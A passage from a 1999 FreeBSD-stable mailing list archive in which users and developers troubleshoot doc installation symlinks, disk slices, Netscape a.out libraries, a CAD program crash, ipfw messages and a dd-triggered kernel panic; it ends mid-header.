"unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 3:52:20 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 6407B14F3B for ; Wed, 6 Oct 1999 03:52:17 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id GAA19602 for stable@freebsd.org; Wed, 6 Oct 1999 06:50:48 -0400 (EDT) (envelope-from mwlucas) Message-Id: <199910061050.GAA19602@blackhelicopters.org> Subject: make docs broken? To: stable@freebsd.org Date: Wed, 6 Oct 1999 06:50:48 -0400 (EDT) From: mwlucas@gltg.com X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I haven't done this before, so I might be doing this completely wrong, but: cvsup docs-supfile [blah, blah, blah] cd /usr/doc/en_US.ISO_8859-1/ make all install The make runs well enough, but make install chokes: oks/fdp-primer ===> books/ppp-primer install -C -o root -g wheel -m 444 book.html.gz /usr/share/doc/en_US.ISO_8859-1/books/ppp-primer install -C -o root -g wheel -m 444 `xargs < HTML.manifest` /usr/share/doc/en_US.ISO_8859-1/books/ppp-primer install -C -o root -g wheel -m 444 book.html /usr/share/doc/en_US.ISO_8859-1/books/ppp-primer /usr/share/doc/faq -> /usr/share/doc/en_US.ISO_8859-1/books/faq /usr/share/doc/handbook -> /usr/share/doc/en_US.ISO_8859-1/books/handbook rm: handbook: is a directory *** Error code 1 ==ml To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 4: 8:21 1999 Delivered-To: freebsd-stable@freebsd.org Received: from server.baldwin.cx (jobaldwi.campus.vt.edu [198.82.67.146]) by hub.freebsd.org (Postfix) with ESMTP id BE6D1150A7 for ; Wed, 6 Oct 1999 04:08:13 -0700 (PDT) (envelope-from jobaldwi@vt.edu) Received: from john.baldwin.cx (john [10.0.0.2]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id HAA19872; Wed, 6 Oct 1999 07:08:33 -0400 (EDT) (envelope-from jobaldwi@vt.edu) Message-Id: <199910061108.HAA19872@server.baldwin.cx> X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199910061050.GAA19602@blackhelicopters.org> Date: Wed, 06 Oct 1999 07:08:33 -0400 (EDT) From: John Baldwin To: mwlucas@gltg.com Subject: RE: make docs broken? Cc: stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 06-Oct-99 mwlucas@gltg.com wrote: > The make runs well enough, but make install chokes: [snip] > /usr/share/doc/handbook -> > /usr/share/doc/en_US.ISO_8859-1/books/handbook > rm: handbook: is a directory > *** Error code 1 Delete your old copies of the docs in /usr/share/doc/{faq,handbook,tutorials} before running the install. It's trying to create symlinks from the old locations to the new locations but the old locations still exist. You'll only have to do this once. > ==ml --- John Baldwin -- http://www.cslab.vt.edu/~jobaldwi/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 4:21:18 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 233D814D88 for ; Wed, 6 Oct 1999 04:21:10 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id HAA19671; Wed, 6 Oct 1999 07:21:08 -0400 (EDT) (envelope-from mwlucas) Message-Id: <199910061121.HAA19671@blackhelicopters.org> Subject: Re: make docs broken? In-Reply-To: <199910061108.HAA19872@server.baldwin.cx> from John Baldwin at "Oct 6, 1999 7: 8:33 am" To: jobaldwi@vt.edu (John Baldwin) Date: Wed, 6 Oct 1999 07:21:08 -0400 (EDT) Cc: mwlucas@gltg.com, stable@freebsd.org From: mwlucas@gltg.com X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks much! Perhaps this should be documented in the Makefile or a README under /usr/doc? If not, where would I look to learn this? > On 06-Oct-99 mwlucas@gltg.com wrote: > > The make runs well enough, but make install chokes: > > [snip] > > > /usr/share/doc/handbook -> > > /usr/share/doc/en_US.ISO_8859-1/books/handbook > > rm: handbook: is a directory > > *** Error code 1 > > Delete your old copies of the docs in > /usr/share/doc/{faq,handbook,tutorials} before running the install. > It's trying to create symlinks from the old locations to the new > locations but the old locations still exist. You'll only have to do > this once. > > > ==ml > > --- > > John Baldwin -- http://www.cslab.vt.edu/~jobaldwi/ > PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 5: 4:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from server.baldwin.cx (jobaldwi.campus.vt.edu [198.82.67.146]) by hub.freebsd.org (Postfix) with ESMTP id C478714EDA; Wed, 6 Oct 1999 05:04:33 -0700 (PDT) (envelope-from jobaldwi@vt.edu) Received: from john.baldwin.cx (john [10.0.0.2]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id IAA29866; Wed, 6 Oct 1999 08:04:44 -0400 (EDT) (envelope-from jobaldwi@vt.edu) Message-Id: <199910061204.IAA29866@server.baldwin.cx> X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199910061121.HAA19671@blackhelicopters.org> Date: Wed, 06 Oct 1999 08:04:43 -0400 (EDT) From: John Baldwin To: mwlucas@gltg.com, freebsd-doc@FreeBSD.org Subject: Re: make docs broken? Cc: stable@FreeBSD.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [copied to -doc, please send all replies there and not to -stable] On 06-Oct-99 mwlucas@gltg.com wrote: > Thanks much! > > Perhaps this should be documented in the Makefile or a README under > /usr/doc? If not, where would I look to learn this? It's not documented anywhere obvious, and perhaps that should be fixed. Perhaps the makefiles should check for an existing directory before creating the symlinks and then warn the user? What does the rest of -doc think? >> On 06-Oct-99 mwlucas@gltg.com wrote: >> > The make runs well enough, but make install chokes: >> >> [snip] >> >> > /usr/share/doc/handbook -> >> > /usr/share/doc/en_US.ISO_8859-1/books/handbook >> > rm: handbook: is a directory >> > *** Error code 1 >> >> Delete your old copies of the docs in >> /usr/share/doc/{faq,handbook,tutorials} before running the install. >> It's trying to create symlinks from the old locations to the new >> locations but the old locations still exist. You'll only have to do >> this once. >> >> > ==ml --- John Baldwin -- http://www.cslab.vt.edu/~jobaldwi/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 6:28:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from terrapin.ru.ac.za (terrapin.ru.ac.za [146.231.128.6]) by hub.freebsd.org (Postfix) with ESMTP id 3472A15130 for ; Wed, 6 Oct 1999 06:28:25 -0700 (PDT) (envelope-from nbm@mithrandr.moria.org) Received: from duca.dialup.ru.ac.za ([146.231.98.24] helo=mithrandr.moria.org) by terrapin.ru.ac.za with esmtp (Exim 3.03 #1) id 11Yr76-000Jbz-00 for stable@FreeBSD.ORG; Wed, 06 Oct 1999 15:28:13 +0200 Received: (qmail 33060 invoked by uid 1001); 6 Oct 1999 12:39:02 -0000 Date: Wed, 6 Oct 1999 14:39:02 +0200 From: Neil Blakey-Milner To: John Baldwin Cc: mwlucas@gltg.com, stable@FreeBSD.ORG Subject: Re: make docs broken? Message-ID: <19991006143902.B21324@mithrandr.moria.org> References: <199910061050.GAA19602@blackhelicopters.org> <199910061108.HAA19872@server.baldwin.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: <199910061108.HAA19872@server.baldwin.cx>; from John Baldwin on Wed, Oct 06, 1999 at 07:08:33AM -0400 Organization: Rhodes University Computer Users' Society X-Operating-System: FreeBSD 4.0-CURRENT i386 X-URL: http://rucus.ru.ac.za/~nbm/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed 1999-10-06 (07:08), John Baldwin wrote: > > /usr/share/doc/handbook -> > > /usr/share/doc/en_US.ISO_8859-1/books/handbook > > rm: handbook: is a directory > > *** Error code 1 > > Delete your old copies of the docs in > /usr/share/doc/{faq,handbook,tutorials} before running the install. > It's trying to create symlinks from the old locations to the new > locations but the old locations still exist. You'll only have to do > this once. I'll fix this now, using rm -rf, not rm -f (which is why the "rm: handbook: is a directory" message is shown). Neil -- Neil Blakey-Milner nbm@rucus.ru.ac.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 8: 8:47 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mercure.IRO.UMontreal.CA (mercure.IRO.UMontreal.CA [132.204.24.67]) by hub.freebsd.org (Postfix) with ESMTP id D03D515491 for ; Wed, 6 Oct 1999 08:08:28 -0700 (PDT) (envelope-from beaupran@IRO.UMontreal.CA) Received: from bld11.IRO.UMontreal.CA (IDENT:root@bld11.IRO.UMontreal.CA [132.204.21.47]) by mercure.IRO.UMontreal.CA (8.9.1/8.9.3) with ESMTP id LAA15653; Wed, 6 Oct 1999 11:08:27 -0400 Received: (from beaupran@localhost) by bld11.IRO.UMontreal.CA (8.9.1/8.9.1) id LAA01613; Wed, 6 Oct 1999 11:08:25 -0400 Full-Name: Antoine Beaupre X-Authentication-Warning: bld11.IRO.UMontreal.CA: beaupran set sender to beaupran@bld11.IRO.UMontreal.CA using -f From: Antoine Beaupre MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14331.26089.359827.108306@bld11.IRO.UMontreal.CA> Date: Wed, 6 Oct 1999 11:08:25 -0400 (EDT) To: chad@rez.com Cc: stable@FreeBSD.ORG Subject: Re: disk partitions References: <199910052325.QAA01404@chad.anasazi.com> X-Mailer: VM 6.75 under Emacs 20.3.1 Reply-To: Spidey Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --- Big Brother told Chad R. Larson to write, at 16:25 of October 5: > Is there some rule that says there can only be one FreeBSD partition > on a disk drive? I don't think so. I run FBSD-3.3RC on my drive (and ran it this way since 3.1R) with 3 main partition (that we call slices in FBSD, if I'm not mistaken): 1: FAT32 (win 98) 2: FBSD (/ /var /usr ...) 3: FBSD (/home) My kernel is on 2: and I boot by there. Without any problems. I use the OS-BS boot selector though. > Here's the story. This machine on which I type is a 166 MHz > Pentium, with 32 MB of RAM and an Adaptec on-the-motherboard SCSI > controller. Its single hard drive is a 4GB Segate. The boot dmesg > output is attached if you want further details. It's running > FreeBSD 2.2-STABLE, CVSup'd and built in July. > > It has been set up to dual-boot NT workstation and FreeBSD. But the > dual booting proved to be too much hassle, so I obtained a second > machine, loaded Win95 on it and left this one in BSD. Lately, I've > been getting short on disk space in the BSD world (doesn't > everyone?) and decided to poach some of the NT space. Ok.. So the machine isn't dual-booting anymore, right? Then why not make a backup and dedicate the drive to BSD? > The disk had been set with FDISK partitions like this: > > 1 500MB type 6 dos (FAT, NT C: drive) > 2 1.5GB type 5 dos (NTFS, NT D: drive) > 3 2.0GB type 165 FreeBSD > 4 unused > > I ran "fdisk -2 -u sd0", and changed the partition type from 5 to > 165. When I attempted to reboot, BootEazy offered me > > F1 dos > F2 BSD > F3 BSD > > but F3 refuses to boot. When I hit F3, or allow the timeout to take > that as a default, the cursor moves down one line and to the left > margin and then the machine hangs. I can CTL-ALT-DEL back around to > the BootEazy prompt. F2 also does not boot (I didn't expect it to, > but wondered if the partitions got reordered somehow in BootEazy's > mind). F1 =does= boot NT. This is strange. Have you tried to revert things as they were before? > If I boot the 2.2.8-RELEASE live filesystem CD, and drop into fixit > mode, I can set the type on partition 2 to 0, and I can boot again. > Partition 2 disappears from the BootEazy menu. As I said earlier, maybe you should try OS-BS. It's available in the 'tools' directory (if I remember correctly) of the ftp archive. With it, you can select which OS (slice, in fact) to show on boot, and which not. > If we get past this, then I'll be asking why disklabel doesn't seem > willing to work against sd0s2c. It would help to see the output of fdisk and disklabel for the apropriate disks. 'hope that helps... ants. [snipped dmesg output] -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 11:19: 3 1999 Delivered-To: freebsd-stable@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.144.32]) by hub.freebsd.org (Postfix) with ESMTP id EB4C9150F9 for ; Wed, 6 Oct 1999 11:17:48 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.9.3/8.9.3) with ESMTP id LAA10993; Wed, 6 Oct 1999 11:17:37 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Date: Wed, 6 Oct 1999 11:17:37 -0700 (PDT) From: Doug White To: Guseyn Ismaylov Cc: stable@FreeBSD.ORG Subject: Re: Netscape 4.6 In-Reply-To: <199910060414.JAA17305@azeri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 6 Oct 1999, Guseyn Ismaylov wrote: > After complete installing on FreeBSD 3.x ( stable or release does't matter) > netscape tells: Cannot find ld.so library and exits > Is that means a.out must be installed? Yup .. pull out compat22. Can this be FAQ'd? Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 11:54:27 1999 Delivered-To: freebsd-stable@freebsd.org Received: from uncle.cult.cu (uncle.cult.cu [169.158.120.12]) by hub.freebsd.org (Postfix) with ESMTP id 626D21506F for ; Wed, 6 Oct 1999 11:54:05 -0700 (PDT) (envelope-from elie@uncle.cult.cu) Received: from localhost (1207 bytes) by uncle.cult.cu via sendmail with P:stdio/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) (ident using unix) id for ; Wed, 6 Oct 1999 14:50:47 -0400 (CDT) (Smail-3.2.0.101 1997-Dec-17 #4 built 1998-Sep-15) Date: Wed, 6 Oct 1999 14:50:47 -0400 (CDT) From: Eliezer Rodriguez Gonzalez To: Will Andrews Cc: Anand Ranganathan , freebsd-stable@FreeBSD.ORG Subject: RE: netscape on 3.3-RELEASE In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > The netscape port needs to use the aout version of libXt.so.6 - which is in > /usr/X11R6/lib/aout/libXt.so.6. How to get it to do that, I don't know. Sorry. > If you upgrade to the XFree86 distributions that comes bundled with FreeBSD 3.3-RELEASE you'll have such a.out shared libraries installed and you'll be able to run Netscape who is in a.out format. You'll also have to either manually run ldconfig each time to include the a.out format shared libraries like this: ldconfig -aout -m /usr/X11R6/lib/aout or set up the /etc/rc.conf or /etc/defaults/rc.conf variable ldconfig_paths_aout to point to this and other directories where a.out object format shared libraries are held. I hope this helps. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 13: 8:46 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mailbox1.ucsd.edu (mailbox1.ucsd.edu [132.239.1.53]) by hub.freebsd.org (Postfix) with ESMTP id 8CC7815764; Wed, 6 Oct 1999 13:08:23 -0700 (PDT) (envelope-from btalbot@ucsd.edu) Received: from earthkam.ucsd.edu (thneed.earthkam.ucsd.edu [132.239.242.10]) by mailbox1.ucsd.edu (8.9.3/8.9.3) with ESMTP id NAA19896; Wed, 6 Oct 1999 13:08:23 -0700 (PDT) Received: from celis by earthkam.ucsd.edu (8.8.8+Sun/SMI-SVR4) id NAA17720; Wed, 6 Oct 1999 13:08:22 -0700 (PDT) Message-Id: <4.2.0.58.19991006125510.00a695c0@ekimaphost> X-Sender: btalbot@ekimaphost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 06 Oct 1999 13:08:21 -0700 To: freebsd-ports@FreeBSD.ORG From: Bryan Talbot Subject: cad/magic dumping core Cc: FreeBSD-STABLE Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there a known problem running the cad/magic-6.5 port on 3.3-stable with XFree-3.3.3? The port compiled and installed cleanly but dumps core (while in free()) during startup. I've searched the -ports and -stable message archives but see no mention of magic for the last couple of years. Also, I'm not sure if this is a FreeBSD, XFree86, or Magic-6.5 problem. I compiled magic with the debugging symbols (-g) flag defined in magic/work/magic-6.5/misc/CFLAGS but the resulting executable still has no symbols. bash-2.02# magic Magic 6.5 - Compiled on Wed Oct 6 01:22:58 PDT 1999. CAD_HOME sets "~cad" to "/usr/local". Using technology "scmos", version 8.2.8. MOSIS Scalable CMOS Technology for Standard Rules Unable to allocate 7 planes in default colormap; making a new one. Segmentation fault (core dumped) bash-2.02# which magic /usr/local/bin/magic bash-2.02# uname -a FreeBSD straylight.ummgood.net 3.3-STABLE FreeBSD 3.3-STABLE #6: Fri Sep 17 22:34:57 PDT 1999 root@straylight.ummgood.net:/usr/src/sys/compile/STRAYLIGHT i386 bash-2.02# -Bryan ===================================================================== CONSUMER NOTICE: Because of the "Uncertainty Principle," it is impossible for the reader to find out at the same time both precisely where this message is and how fast it is moving. ===================================================================== "I think not!" said Descartes, who promptly disappeared. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 14:28:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from nomis.simon-shapiro.org (nomis.simon-shapiro.org [209.86.126.163]) by hub.freebsd.org (Postfix) with SMTP id 3315915488 for ; Wed, 6 Oct 1999 14:27:13 -0700 (PDT) (envelope-from shimon@simon-shapiro.org) Received: (qmail 9430 invoked from network); 6 Oct 1999 21:26:16 -0000 Received: from localhost.simon-shapiro.org (HELO simon-shapiro.org) (127.0.0.1) by localhost.simon-shapiro.org with SMTP; 6 Oct 1999 21:26:16 -0000 Message-ID: <37FBBE78.921F466A@simon-shapiro.org> Date: Wed, 06 Oct 1999 17:26:16 -0400 From: Simon Shapiro as Himself Organization: Simon's Garage X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: stable@freebsd.org Subject: A panic, can anyone help? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In 3.3, the following shell script: for a in 1 2 3 4 5 6 7 8 9 0 do dd if=/dev/some_disk of=/dev/null bs=128k count=16 skip=${a}00& done procudes: Fatal trap 12: page fault while in kernel mode fault virtual address = 0x8000000c fault code = supervisor read, page not present instruction pointer = 0x8:0xc019c951 stack pointer = 0x10:0xda337e2c frame pointer = 0x10:0xda337e7c code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 291 (dd) interrupt mask = kernel: type 12 trap, code=0 Stopped at spec_read+0xed: cmpb $0x7,0xc(%edx) db> trace spec_read(da337ec8,da2a4500,c11f62c0,da337f10,da337ea0) at spec_read+0xed ufsspec_read(da337ec8,da337edc,c0197083,da337ec8,c11f62c0) at ufsspec_read+0x20 ufs_vnoperatespec(da337ec8,c11f62c0,20000,da2a6fa0,da2a4500) at ufs_vnoperatespec+0x15 vn_read(c11f62c0,da337f10,c11f5f80,0,da337f94) at vn_read+0x127 dofileread(da2a6fa0,c11f62c0,3,805d000,20000) at dofileread+0x8d read(da2a6fa0,da337f94,bfbfd46c,6,bfbfd46c) at read+0x33 syscall(27,27,bfbfd46c,6,bfbfd434) at syscall+0x187 Xint0x80_syscall() at Xint0x80_syscall+0x2c The calls do not even get to the device driver in question. Any suggestion? -- Sincerely Yours, Shimon@Simon-Shapiro.ORG 404.644.6401 Simon Shapiro Unwritten code has no bugs and executes at twice the speed of mouth To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 14:59: 3 1999 Delivered-To: freebsd-stable@freebsd.org Received: from fang.cs.sunyit.edu (fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (Postfix) with ESMTP id 60B10152B5; Wed, 6 Oct 1999 14:58:55 -0700 (PDT) (envelope-from meyerd1@fang.cs.sunyit.edu) Received: from fang.cs.sunyit.edu (fang.cs.sunyit.edu [192.52.220.66]) by fang.cs.sunyit.edu (8.8.8/8.8.8) with SMTP id SAA07700; Wed, 6 Oct 1999 18:01:03 -0400 (EDT) (envelope-from meyerd1@fang.cs.sunyit.edu) Date: Wed, 6 Oct 1999 18:01:03 -0400 (EDT) From: Daniel Aaron Meyer To: Bryan Talbot Cc: freebsd-ports@FreeBSD.ORG, FreeBSD-STABLE Subject: Re: cad/magic dumping core In-Reply-To: <4.2.0.58.19991006125510.00a695c0@ekimaphost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You are having problems because X is not running in 8 bit color. If you don't want to run X in 8 bit, Magic-6.5.1 will run in true color. Regards, --Dan On Wed, 6 Oct 1999, Bryan Talbot wrote: > Is there a known problem running the cad/magic-6.5 port on 3.3-stable with > XFree-3.3.3? The port compiled and installed cleanly but dumps core (while > in free()) during startup. > > I've searched the -ports and -stable message archives but see no mention of > magic for the last couple of years. Also, I'm not sure if this is a > FreeBSD, XFree86, or Magic-6.5 problem. I compiled magic with the > debugging symbols (-g) flag defined in magic/work/magic-6.5/misc/CFLAGS but > the resulting executable still has no symbols. > > > bash-2.02# magic > > Magic 6.5 - Compiled on Wed Oct 6 01:22:58 PDT 1999. > CAD_HOME sets "~cad" to "/usr/local". > > Using technology "scmos", version 8.2.8. > MOSIS Scalable CMOS Technology for Standard Rules > Unable to allocate 7 planes in default colormap; making a new one. > Segmentation fault (core dumped) > > bash-2.02# which magic > /usr/local/bin/magic > > bash-2.02# uname -a > FreeBSD straylight.ummgood.net 3.3-STABLE FreeBSD 3.3-STABLE #6: Fri Sep 17 > 22:34:57 PDT > 1999 root@straylight.ummgood.net:/usr/src/sys/compile/STRAYLIGHT i386 > bash-2.02# > > > -Bryan > > ===================================================================== > CONSUMER NOTICE: Because of the "Uncertainty Principle," it > is impossible for the reader to find out at the same time > both precisely where this message is and how fast it is moving. > ===================================================================== > "I think not!" said Descartes, who promptly disappeared. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 15:28:14 1999 Delivered-To: freebsd-stable@freebsd.org Received: from freed.dyn.ez-ip.net (derby.JSP.UMontreal.CA [132.204.45.26]) by hub.freebsd.org (Postfix) with ESMTP id 9903F14C84 for ; Wed, 6 Oct 1999 15:27:56 -0700 (PDT) (envelope-from spidey@freed.dyn.ez-ip.net) Received: (from spidey@localhost) by freed.dyn.ez-ip.net (8.9.3/8.9.3) id SAA00906; Wed, 6 Oct 1999 18:01:44 -0400 (EDT) (envelope-from spidey) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14331.50887.169260.290222@freed.dyn.ez-ip.net> Date: Wed, 6 Oct 1999 18:01:43 -0400 (EDT) To: Martin McFlySr Cc: freebsd-stable@FreeBSD.ORG Subject: Re: how can i ...? what with ipfw? References: <13641.991004@McFlySr.Kurgan.Ru> X-Mailer: VM 6.72 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2) Reply-To: Spidey Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --- Big Brother told Martin McFlySr to write, at 15:24 of October 4: > Hello freebsd-stable@FreeBSD.ORG, > > 1. How can i see what namely was changed in files after CVSup is done? > I can seen at log CVSup, but can see only what files was changed: > > Edit src/share/man/man5/rc.conf.5 > Add delta 1.27.2.17 99.10.02.10.21.36 des > Add delta 1.27.2.18 99.10.02.21.41.35 des There is a web interface to the CVS tree on www.freebsd.org . I don't remember exactly the link though. (http://www.freebsd.org/cgi-bin/cvsweb.cgi, actually.) You could also keep the whole tree locally instead of just upgrading your source code. But this is _huge_, IIRC. For ipfw, I haven't had the chance of having fun with it.. :) > 2. What happying with ipfw? > after change rc.firewall, sh rc.firewall, on console i see: > > dn_rule_delete, r 0xc09e6e30, default 0xc09e6eb0, 0 matches > dn_rule_delete, r 0xc09e6e20, default 0xc09e6eb0, 0 matches > dn_rule_delete, r 0xc09e6e10, default 0xc09e6eb0, 0 matches > dn_rule_delete, r 0xc09e6e00, default 0xc09e6eb0, 0 matches > > etc-etc... ? > > kernel: > ... > options MROUTING > options IPFIREWALL > options IPFIREWALL_VERBOSE > options IPFIREWALL_FORWARD > options "IPFIREWALL_VERBOSE_LIMIT=20000" > options IPDIVERT > options TCPDEBUG > options DUMMYNET > ... > > thank you. > > > > -- > Monday, October 04, 1999, > 15:01 > > Best regards from future, > Martin McFlySr, HillDale. > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 15:28:41 1999 Delivered-To: freebsd-stable@freebsd.org Received: from freed.dyn.ez-ip.net (derby.JSP.UMontreal.CA [132.204.45.26]) by hub.freebsd.org (Postfix) with ESMTP id 4325514F69 for ; Wed, 6 Oct 1999 15:27:56 -0700 (PDT) (envelope-from spidey@freed.dyn.ez-ip.net) Received: (from spidey@localhost) by freed.dyn.ez-ip.net (8.9.3/8.9.3) id SAA00909; Wed, 6 Oct 1999 18:04:46 -0400 (EDT) (envelope-from spidey) From: Spidey MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14331.51069.769962.724682@freed.dyn.ez-ip.net> Date: Wed, 6 Oct 1999 18:04:45 -0400 (EDT) To: Alfred Perlstein Cc: chad@rez.com, stable@FreeBSD.ORG Subject: Re: disk partitions References: <199910052325.QAA01404@chad.anasazi.com> X-Mailer: VM 6.72 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2) Reply-To: Spidey Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [good point, snipped] Isn't there something about FAT** partitions having to be in the first sectors of the disk? I seem to remember that putting Win** anywhere else than at the first cylinder was bad, I don't remember why. Anyways... Ants. -- Si l'image donne l'illusion de savoir C'est que l'adage pretend que pour croire, L'important ne serait que de voir Lofofora To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 16:41: 3 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blaubaer.kn-bremen.de (blaubaer.kn-bremen.de [195.37.179.254]) by hub.freebsd.org (Postfix) with ESMTP id 73137151B3 for ; Wed, 6 Oct 1999 16:40:46 -0700 (PDT) (envelope-from nox@saturn.kn-bremen.de) Received: from saturn.kn-bremen.de (uucp@localhost) by blaubaer.kn-bremen.de (8.9.1/8.9.1) with UUCP id BAA20205; Thu, 7 Oct 1999 01:34:19 +0200 Received: (from nox@localhost) by saturn.kn-bremen.de (8.9.3/8.8.5) id WAA08706; Wed, 6 Oct 1999 22:18:04 +0200 (MET DST) Date: Wed, 6 Oct 1999 22:18:04 +0200 (MET DST) From: Juergen Lock Message-Id: <199910062018.WAA08706@saturn.kn-bremen.de> To: andrews@TECHNOLOGIST.COM Subject: Re: netscape on 3.3-RELEASE X-Newsgroups: local.list.freebsd.stable In-Reply-To: References: <19991005141623.C23947@Psmith.blandings.com> Organization: home Cc: freebsd-stable@FreeBSD.ORG Sender: 